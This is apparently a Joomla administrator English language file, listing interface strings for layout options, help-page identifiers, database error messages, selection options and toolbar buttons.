JGLOBAL_LINK_PARENT_CATEGORY_DESC="If set to Yes, and if Show Parent is set to 'Show', the Parent Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_PARENT_CATEGORY_LABEL="Link Parent" JGLOBAL_LINKED_TITLES_DESC="If set to Yes, the article title will be a link to the article." JGLOBAL_LINKED_TITLES_LABEL="Linked Titles" JGLOBAL_LIST="List" JGLOBAL_LIST_ALIAS="(Alias: %s)" JGLOBAL_LIST_ALIAS_NOTE="(Alias: %s, Note: %s)" JGLOBAL_LIST_AUTHOR_DESC="Whether to show article author in the list of articles." JGLOBAL_LIST_AUTHOR_LABEL="Show Author in List" JGLOBAL_LIST_HITS_DESC="Whether to show article hits in the list of articles." JGLOBAL_LIST_HITS_LABEL="Show Hits in List" JGLOBAL_LIST_LAYOUT_OPTIONS="List Layouts" JGLOBAL_LIST_NOTE="(Note: %s)" JGLOBAL_LIST_TITLE_DESC="If Show, Category Title will show in the list of categories." JGLOBAL_LIST_TITLE_LABEL="Category Title" JGLOBAL_LT="<" JGLOBAL_MAXIMUM_CATEGORY_LEVELS_DESC="The number of subcategory levels to display." JGLOBAL_MAXIMUM_CATEGORY_LEVELS_LABEL="Subcategory Levels" JGLOBAL_MAXLEVEL_DESC="Maximum number of levels of subcategories to show." JGLOBAL_MAXLEVEL_LABEL="Subcategory Levels" JGLOBAL_MENU_SELECTION="Menu Selection:" JGLOBAL_MODIFIED="Modified" JGLOBAL_MOST_HITS="Most Hits" JGLOBAL_MOST_RECENT_FIRST="Most recent first" JGLOBAL_MULTI_COLUMN_ORDER_DESC="Order articles down or across columns" JGLOBAL_MULTI_COLUMN_ORDER_LABEL="Multi Column Order" JGLOBAL_MULTI_LEVEL="Multi Level" JGLOBAL_NEWITEMSFIRST_DESC="New items default to the first position. The ordering can be changed after this item is saved." JGLOBAL_NEWITEMSLAST_DESC="New items default to the last position. The ordering can be changed after this item is saved." JGLOBAL_NO_ITEM_SELECTED="No items selected" JGLOBAL_NO_ORDER="No Order" JGLOBAL_NOINDEX_FOLLOW="No index, follow" JGLOBAL_NOINDEX_NOFOLLOW="No index, no follow" JGLOBAL_NUM_COLUMNS_DESC="The number of columns in which to show Intro Articles. Normally 1, 2, or 3." JGLOBAL_NUM_COLUMNS_LABEL="# Columns" JGLOBAL_NUM_INTRO_ARTICLES_DESC="Number of articles to show after the leading article. Articles will be shown in columns." JGLOBAL_NUM_INTRO_ARTICLES_LABEL="# Intro Articles" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Number of leading articles to display as full-width at the beginning of the page." JGLOBAL_NUM_LEADING_ARTICLES_LABEL="# Leading Articles" JGLOBAL_NUM_LINKS_DESC="Number of articles to display as links, normally below the Intro Articles." JGLOBAL_NUM_LINKS_LABEL="# Links" JGLOBAL_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show." JGLOBAL_NUMBER_CATEGORY_ITEMS_LABEL="Show Article Count" JGLOBAL_NUMBER_ITEMS_LIST_DESC="Default number of articles to list on a page." JGLOBAL_NUMBER_ITEMS_LIST_LABEL="# Articles to List" JGLOBAL_OLDEST_FIRST="Oldest first" JGLOBAL_ORDERING="Article Manager Order" JGLOBAL_ORDERING_DATE_DESC="If articles are ordered by date, which date to use." JGLOBAL_ORDERING_DATE_LABEL="Date for Ordering" JGLOBAL_PAGINATION_DESC="Show or hide Pagination support. Pagination provides page links at the bottom of the page that allow the User to navigate to additional pages. These are needed if the Information will not fit on one page." JGLOBAL_PAGINATION_LABEL="Pagination" JGLOBAL_PAGINATION_RESULTS_DESC="Show or hide pagination results information, for example, "Page 1 of 4"." JGLOBAL_PAGINATION_RESULTS_LABEL="Pagination Results" JGLOBAL_PASSWORD="Password" JGLOBAL_PERMISSIONS_ANCHOR="Set Permissions" JGLOBAL_PREVIEW="Preview" JGLOBAL_RECORD_NUMBER="Record ID: %d" JGLOBAL_REMEMBER_ME="Remember Me" JGLOBAL_RIGHT="Right" JGLOBAL_ROOT="Root" JGLOBAL_ROOT_PARENT="- No parent -" JGLOBAL_SELECT_ALLOW_DENY_GROUP="Change %s permission for %s group." JGLOBAL_SELECTION_INVERT="Toggle Selection" JGLOBAL_SELECTION_ALL="Select All" JGLOBAL_SELECTION_NONE="Clear Selection" JGLOBAL_SHOW_AUTHOR_DESC="If set to Show, the Name of the article's Author will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_AUTHOR_LABEL="Show Author" JGLOBAL_SHOW_CATEGORY_DESC="If set to Show, the title of the article’s category will show." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_DESC="Show or hide the description of the selected Category." JGLOBAL_SHOW_CATEGORY_DESCRIPTION_LABEL="Category Description" JGLOBAL_SHOW_CATEGORY_IMAGE_DESC="Show or hide the image of the selected Category." JGLOBAL_SHOW_CATEGORY_IMAGE_LABEL="Category Image" JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_LABEL="Show Subcategories Text" JGLOBAL_SHOW_CATEGORY_HEADING_TITLE_TEXT_DESC="If Show, the "Subcategories" will show as a subheading on the page. The subheading is usually displayed inside the "H3" tag." JGLOBAL_SHOW_CATEGORY_LABEL="Show Category" JGLOBAL_SHOW_CATEGORY_TITLE="Category Title" JGLOBAL_SHOW_CATEGORY_TITLE_DESC="If Show, the Category Title will show as a subheading on the page. The subheading is usually displayed inside the "H2" tag." JGLOBAL_SHOW_CREATE_DATE_DESC="If set to Show, the date and time an Article was created will be displayed. This a global setting but can be changed at Menu and Article levels." JGLOBAL_SHOW_CREATE_DATE_LABEL="Show Create Date" JGLOBAL_SHOW_DATE_DESC="Whether to show a date column in the list of articles. Select Hide to hide the date, or select which date you wish to show." JGLOBAL_SHOW_DATE_LABEL="Show Date" JGLOBAL_SHOW_EMAIL_ICON_DESC="Show/Hide the email icon. This allows you to email an article." JGLOBAL_SHOW_EMAIL_ICON_LABEL="Show Email Icon" JGLOBAL_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no items or subcategories." JGLOBAL_SHOW_EMPTY_CATEGORIES_LABEL="Empty Categories" JGLOBAL_SHOW_FEED_LINK_DESC="Show or hide an RSS Feed Link. (A Feed Link will show up as a feed icon in the address bar of most modern browsers)." JGLOBAL_SHOW_FEED_LINK_LABEL="Show Feed Link" JGLOBAL_SHOW_HEADINGS_DESC="Show or Hide the headings in list layouts." JGLOBAL_SHOW_HEADINGS_LABEL="Table Headings" JGLOBAL_SHOW_HITS_DESC="If set to Show, the number of Hits on a particular Article will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_HITS_LABEL="Show Hits" JGLOBAL_SHOW_ICONS_DESC="Print and email will utilise Icons or Text" JGLOBAL_SHOW_ICONS_LABEL="Show Icons" JGLOBAL_SHOW_INTRO_DESC="If set to Show, the Intro Text of the article will show when you drill down to the article. If set to Hide, only the part of the article after the "Read More" break will show." JGLOBAL_SHOW_INTRO_LABEL="Show Intro Text" JGLOBAL_SHOW_MODIFY_DATE_DESC="If set to Show, the date and time an Article was last modified will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_MODIFY_DATE_LABEL="Show Modify Date" JGLOBAL_SHOW_NAVIGATION_DESC="If set to Show, shows a navigation link (Next, Previous) between articles." JGLOBAL_SHOW_NAVIGATION_LABEL="Show Navigation" JGLOBAL_SHOW_PARENT_CATEGORY_DESC="If set to Show, the title of the article’s parent category will show." JGLOBAL_SHOW_PARENT_CATEGORY_LABEL="Show Parent" JGLOBAL_SHOW_PRINT_ICON_DESC="Show/Hide the Item Print button." JGLOBAL_SHOW_PRINT_ICON_LABEL="Show Print Icon" JGLOBAL_SHOW_PUBLISH_DATE_DESC="If set to Show, the date and time an Article was published will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SHOW_PUBLISH_DATE_LABEL="Show Publish Date" JGLOBAL_SHOW_READMORE_DESC="If set to Show, the Read more... Link will show if Main text has been provided for the Article." JGLOBAL_SHOW_READMORE_LABEL="Show "Read More"" JGLOBAL_SHOW_READMORE_TITLE_DESC="If set to show the Title of the Article will be shown on the Read More button" JGLOBAL_SHOW_READMORE_TITLE_LABEL="Show Title with Read More" JGLOBAL_SHOW_READMORE_LIMIT_DESC="Set a limit of number of characters in Article Title to show in Read More button" JGLOBAL_SHOW_READMORE_LIMIT_LABEL="Read More Limit" JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_DESC="Show/Hide the subcategories descriptions." JGLOBAL_SHOW_SUBCATEGORIES_DESCRIPTION_LABEL="Subcategories Descriptions" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_LABEL="Include Subcategories" JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="If None, only articles from this category will show. If a number, all articles from the category and the subcategories up to and including that level will show in the blog." JGLOBAL_SHOW_TITLE_DESC="If set to Show, the article title is shown." JGLOBAL_SHOW_TITLE_LABEL="Show Title" JGLOBAL_SHOW_UNAUTH_LINKS_DESC="If set to Yes, links to registered content will be shown even if you are not logged-in. You will need to log in to access the full item." JGLOBAL_SHOW_UNAUTH_LINKS_LABEL="Show Unauthorised Links" JGLOBAL_SHOW_VOTE_DESC="If set to show, a voting system will be enabled for Articles" JGLOBAL_SHOW_VOTE_LABEL="Show Voting" JGLOBAL_SINGLE_LEVEL="Single Level" JGLOBAL_START_PUBLISH_AFTER_FINISH="Item start publishing date must be before finish publishing date" JGLOBAL_SUBHEADING_DESC="Optional text to show as a subheading." JGLOBAL_SUBHEADING_LABEL="Page Subheading" JGLOBAL_SUBMENU_CHECKIN="Checkin" JGLOBAL_SUBMENU_CLEAR_CACHE="Clear Cache" JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE="Purge Expired Cache" JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="The option below gives the ability to include articles from subcategories in the Blog layout." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="If a field is left blank, global settings will be used." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="These options are also used when you click
      on one of the category links, on the first page and/or thereafter,
      unless they are changed for a specific menu item." JGLOBAL_TITLE="Title" JGLOBAL_TITLE_ALPHABETICAL="Title Alphabetical" JGLOBAL_TITLE_REVERSE_ALPHABETICAL="Title Reverse Alphabetical" JGLOBAL_TOP="Top" JGLOBAL_TPL_CPANEL_LINK_TEXT="Return to Control Panel" JGLOBAL_USE_GLOBAL="Use Global" JGLOBAL_USERNAME="User Name" JGLOBAL_VALIDATION_FORM_FAILED="Invalid form" JGLOBAL_VIEW_SITE="View Site" JGLOBAL_WARNJAVASCRIPT="Warning! JavaScript must be enabled for proper operation of the Administrator backend." JGLOBAL_WIDTH="Width" JGLOBAL_CHECK_ALL="Check All" JGRID_HEADING_ACCESS="Access" JGRID_HEADING_CREATED_BY="Created by" JGRID_HEADING_ID="ID" JGRID_HEADING_LANGUAGE="Language" JGRID_HEADING_MENU_ITEM_TYPE="Menu Item Type" JGRID_HEADING_ORDERING="Ordering" JGRID_HEADING_ROW_NUMBER="#" JGRID_CHECKBOX_ROW_N="Checkbox for row %d" JHELP_COMPONENTS_BANNERS_BANNERS="Components_Banners_Banners" JHELP_COMPONENTS_BANNERS_BANNERS_EDIT="Components_Banners_Banners_Edit" JHELP_COMPONENTS_BANNERS_CATEGORIES="Components_Banners_Categories" JHELP_COMPONENTS_BANNERS_CATEGORY_ADD="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CATEGORY_EDIT="Components_Banners_Categories_Edit" JHELP_COMPONENTS_BANNERS_CLIENTS="Components_Banners_Clients" JHELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Components_Banners_Clients_Edit" JHELP_COMPONENTS_BANNERS_TRACKS="Components_Banners_Tracks" JHELP_COMPONENTS_CONTACT_CATEGORIES="Components_Contacts_Categories" JHELP_COMPONENTS_CONTACT_CATEGORY_ADD="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACT_CATEGORY_EDIT="Components_Contacts_Categories_Edit" JHELP_COMPONENTS_CONTACTS_CONTACTS="Components_Contacts_Contacts" JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Components_Contacts_Contacts_Edit" JHELP_COMPONENTS_CONTENT_CATEGORIES="Components_Content_Categories" JHELP_COMPONENTS_CONTENT_CATEGORY_ADD="Components_Content_Categories_Edit" JHELP_COMPONENTS_CONTENT_CATEGORY_EDIT="Components_Content_Categories_Edit" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_COMPONENTS_JOOMLA_UPDATE="Components_Joomla_Update" JHELP_COMPONENTS_MESSAGING_INBOX="Components_Messaging_Inbox" JHELP_COMPONENTS_MESSAGING_READ="Components_Messaging_Read" JHELP_COMPONENTS_MESSAGING_WRITE="Components_Messaging_Write" JHELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Components_Newsfeeds_Categories" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_ADD="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_CATEGORY_EDIT="Components_Newsfeeds_Categories_Edit" JHELP_COMPONENTS_NEWSFEEDS_FEEDS="Components_Newsfeeds_Feeds" JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Components_Newsfeeds_Feeds_Edit" JHELP_COMPONENTS_REDIRECT_MANAGER="Components_Redirect_Manager" JHELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Components_Redirect_Manager_Edit" JHELP_COMPONENTS_SEARCH="Components_Search" JHELP_COMPONENTS_USERS_CATEGORIES="Users_User_Note_Categories" JHELP_COMPONENTS_USERS_CATEGORY_ADD="Users_User_Note_Category_Edit" JHELP_COMPONENTS_USERS_CATEGORY_EDIT="Users_User_Note_Category_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORIES="Components_Weblinks_Categories" JHELP_COMPONENTS_WEBLINKS_CATEGORY_ADD="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_CATEGORY_EDIT="Components_Weblinks_Categories_Edit" JHELP_COMPONENTS_WEBLINKS_LINKS="Components_Weblinks_Links" JHELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Components_Weblinks_Links_Edit" JHELP_CONTENT_ARTICLE_MANAGER="Content_Article_Manager" JHELP_CONTENT_ARTICLE_MANAGER_EDIT="Content_Article_Manager_Edit" JHELP_CONTENT_FEATURED_ARTICLES="Content_Featured_Articles" JHELP_CONTENT_MEDIA_MANAGER="Content_Media_Manager" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JHELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Extensions_Extension_Manager_Discover" JHELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Extensions_Extension_Manager_Install" JHELP_EXTENSIONS_EXTENSION_MANAGER_LANGUAGES="Extensions_Extension_Manager_languages" JHELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Extensions_Extension_Manager_Manage" JHELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Extensions_Extension_Manager_Update" JHELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Extensions_Extension_Manager_Warnings" JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Extensions_Language_Manager_Content" JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Extensions_Language_Manager_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Extensions_Language_Manager_Installed" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_MODULE_MANAGER="Extensions_Module_Manager" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_CUSTOM="Extensions_Module_Manager_Admin_Custom" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_FEED="Extensions_Module_Manager_Admin_Feed" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LATEST="Extensions_Module_Manager_Admin_Latest" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGGED="Extensions_Module_Manager_Admin_Logged" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_LOGIN="Extensions_Module_Manager_Admin_Login" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MENU="Extensions_Module_Manager_Admin_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_ONLINE="Extensions_Module_Manager_Admin_Online" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_POPULAR="Extensions_Module_Manager_Admin_Popular" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_QUICKICON="Extensions_Module_Manager_Admin_Quickicon" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_STATUS="Extensions_Module_Manager_Admin_Status" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_SUBMENU="Extensions_Module_Manager_Admin_Submenu" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TITLE="Extensions_Module_Manager_Admin_Title" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_TOOLBAR="Extensions_Module_Manager_Admin_Toolbar" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_UNREAD="Extensions_Module_Manager_Admin_Unread" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_ARCHIVE="Extensions_Module_Manager_Articles_Archive" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORIES="Extensions_Module_Manager_Articles_Categories" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY="Extensions_Module_Manager_Articles_Category" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_NEWSFLASH="Extensions_Module_Manager_Articles_Newsflash" JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_RELATED="Extensions_Module_Manager_Articles_Related" JHELP_EXTENSIONS_MODULE_MANAGER_BANNERS="Extensions_Module_Manager_Banners" JHELP_EXTENSIONS_MODULE_MANAGER_BREADCRUMBS="Extensions_Module_Manager_Breadcrumbs" JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML="Extensions_Module_Manager_Custom_HTML" JHELP_EXTENSIONS_MODULE_MANAGER_EDIT="Extensions_Module_Manager_Edit" JHELP_EXTENSIONS_MODULE_MANAGER_FEED_DISPLAY="Extensions_Module_Manager_Feed_Display" JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER="Extensions_Module_Manager_Footer" JHELP_EXTENSIONS_MODULE_MANAGER_LANGUAGE_SWITCHER="Extensions_Module_Manager_Language_Switcher" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Extensions_Module_Manager_Latest_News" JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Extensions_Module_Manager_Latest_Users" JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Extensions_Module_Manager_Login" JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Extensions_Module_Manager_Menu" JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Extensions_Module_Manager_Most_Read" JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Extensions_Module_Manager_Random_Image" JHELP_EXTENSIONS_MODULE_MANAGER_SEARCH="Extensions_Module_Manager_Search" JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Extensions_Module_Manager_Statistics" JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Extensions_Module_Manager_Syndication_Feeds" JHELP_EXTENSIONS_MODULE_MANAGER_WEBLINKS="Extensions_Module_Manager_Weblinks" JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Extensions_Module_Manager_Who_Online" JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Extensions_Module_Manager_Wrapper" JHELP_EXTENSIONS_PLUGIN_MANAGER="Extensions_Plugin_Manager" JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Extensions_Plugin_Manager_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Extensions_Template_Manager_Styles" JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Extensions_Template_Manager_Styles_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Extensions_Template_Manager_Templates" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Extensions_Template_Manager_Templates_Edit" JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Extensions_Template_Manager_Templates_Edit_Source" JHELP_GLOSSARY="Glossary" JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menus_Menu_Item_Article_Archived" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menus_Menu_Item_Article_Categories" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menus_Menu_Item_Article_Category_Blog" JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menus_Menu_Item_Article_Category_List" JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menus_Menu_Item_Article_Create" JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menus_Menu_Item_Article_Featured" JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menus_Menu_Item_Article_Single_Article" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menus_Menu_Item_Contact_Categories" JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menus_Menu_Item_Contact_Category" JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menus_Menu_Item_Contact_Featured" JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menus_Menu_Item_Contact_Single_Contact" JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menus_Menu_Item_External_URL" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_MENUS_MENU_ITEM_MANAGER="Menus_Menu_Item_Manager" JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menus_Menu_Item_Manager_Edit" JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menus_Menu_Item_Menu_Item_Alias" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menus_Menu_Item_Newsfeed_Categories" JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menus_Menu_Item_Newsfeed_Category" JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menus_Menu_Item_Newsfeed_Single_Newsfeed" JHELP_MENUS_MENU_ITEM_SEARCH_RESULTS="Menus_Menu_Item_Search_Results" JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menus_Menu_Item_Text_Separator" JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menus_Menu_Item_User_Login" JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menus_Menu_Item_User_Password_Reset" JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menus_Menu_Item_User_Profile" JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menus_Menu_Item_User_Profile_Edit" JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menus_Menu_Item_User_Registration" JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menus_Menu_Item_User_Reminder" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORIES="Menus_Menu_Item_Weblink_Categories" JHELP_MENUS_MENU_ITEM_WEBLINK_CATEGORY="Menus_Menu_Item_Weblink_Category" JHELP_MENUS_MENU_ITEM_WEBLINK_SUBMIT="Menus_Menu_Item_Weblink_Submit" JHELP_MENUS_MENU_ITEM_WRAPPER="Menus_Menu_Item_Wrapper" JHELP_MENUS_MENU_MANAGER="Menus_Menu_Manager" JHELP_MENUS_MENU_MANAGER_EDIT="Menus_Menu_Manager_Edit" JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration" JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Site_Maintenance_Clear_Cache" JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Site_Maintenance_Global_Check-in" JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Site_Maintenance_Purge_Expired_Cache" JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information" JHELP_ADMIN_USER_PROFILE_EDIT="Site_My_Profile" JHELP_START_HERE="Start_Here" JHELP_USERS_ACCESS_LEVELS="Users_Access_Levels" JHELP_USERS_ACCESS_LEVELS_EDIT="Users_Access_Levels_Edit" JHELP_USERS_DEBUG_GROUPS="Users_Debug_Groups" JHELP_USERS_DEBUG_USERS="Users_Debug_Users" JHELP_USERS_GROUPS="Users_Groups" JHELP_USERS_GROUPS_EDIT="Users_Groups_Edit" JHELP_USERS_MASS_MAIL_USERS="Users_Mass_Mail_Users" JHELP_USERS_USER_MANAGER="Users_User_Manager" JHELP_USERS_USER_MANAGER_EDIT="Users_User_Manager_Edit" JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" ; if there is an error connecting database before initialization, en-GB.lib_joomla.ini can't be loaded ; we therefore have to load the strings from en-GB.ini JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s" JLIB_ERROR_INFINITE_LOOP="Infinite loop detected in JError" JOPTION_ACCESS_SHOW_ALL_ACCESS="Show All Access" JOPTION_ACCESS_SHOW_ALL_GROUPS="Show All Groups" JOPTION_ACCESS_SHOW_ALL_LEVELS="Show All Access Levels" JOPTION_ALL_CATEGORIES="- All Categories -" JOPTION_ANY_CATEGORY="Any Category" JOPTION_ANY="Any" JOPTION_DO_NOT_USE="- None Selected -" JOPTION_FROM_COMPONENT="---From Component---" JOPTION_FROM_MODULE="---From Module---" JOPTION_FROM_TEMPLATE="---From %s Template---" JOPTION_FROM_STANDARD="---From Global Options---" JOPTION_MENUS="Menus" JOPTION_NO_USER="- No User -" JOPTION_OPTIONAL="Optional" JOPTION_ORDER_FIRST="Order First" JOPTION_ORDER_LAST="Order Last" JOPTION_REQUIRED="Required" JOPTION_SELECT_ACCESS="- Select Access -" JOPTION_SELECT_AUTHOR_ALIAS="- Select Author Alias -" JOPTION_SELECT_AUTHOR_ALIASES="- Select Author Aliases -" JOPTION_SELECT_AUTHOR="- Select Author -" JOPTION_SELECT_AUTHORS="- Select Authors -" JOPTION_SELECT_CATEGORY="- Select Category -" JOPTION_SELECT_EDITOR="- Select Editor -" JOPTION_SELECT_IMAGE="- Select Image -" JOPTION_SELECT_LANGUAGE="- Select Language -" JOPTION_SELECT_MENU="- Select Menu -" JOPTION_SELECT_MENU_ITEM="- Select Menu Item -" JOPTION_SELECT_PUBLISHED="- Select Status -" JOPTION_SELECT_TEMPLATE="- Select Template -" JOPTION_SELECT_MAX_LEVELS="- Select Max Levels -" JOPTION_UNASSIGNED="Unassigned" JOPTION_USE_DEFAULT_MODULE_SETTING="- Use Default Module Setting -" JOPTION_USE_DEFAULT="- Use Default -" JOPTION_USE_MENU_REQUEST_SETTING="- Use Menu or Request Setting -" JSEARCH_FILTER_LABEL="Filter:" JSEARCH_FILTER_CLEAR="Clear" JSEARCH_FILTER_SUBMIT="Search" JSEARCH_FILTER="Search" JSEARCH_TITLE="Search %s" JSEARCH_RESET="Reset" JTOOLBAR_APPLY="Save" JTOOLBAR_ARCHIVE="Archive" JTOOLBAR_ASSIGN="Assign" JTOOLBAR_BACK="Back" JTOOLBAR_CANCEL="Cancel" JTOOLBAR_CHECKIN="Check In" JTOOLBAR_CLOSE="Close" JTOOLBAR_DEFAULT="Default" JTOOLBAR_DELETE="Delete" JTOOLBAR_DISABLE="Disable" JTOOLBAR_DUPLICATE="Duplicate" JTOOLBAR_EDIT="Edit" JTOOLBAR_EDIT_CSS="Edit CSS" JTOOLBAR_EDIT_HTML="Edit HTML" JTOOLBAR_EMPTY_TRASH="Empty trash" JTOOLBAR_ENABLE="Enable" JTOOLBAR_EXPORT="Export" JTOOLBAR_HELP="Help" JTOOLBAR_INSTALL="Install" JTOOLBAR_NEW="New" JTOOLBAR_OPTIONS="Options" JTOOLBAR_PUBLISH="Publish" JTOOLBAR_PURGE_CACHE="Purge Cache" JTOOLBAR_REBUILD="Rebuild" JTOOLBAR_REFRESH_CACHE="Refresh Cache" JTOOLBAR_REMOVE="Remove" JTOOLBAR_SAVE="Save & Close" JTOOLBAR_SAVE_AND_NEW="Save & New" JTOOLBAR_SAVE_AS_COPY="Save as Copy" 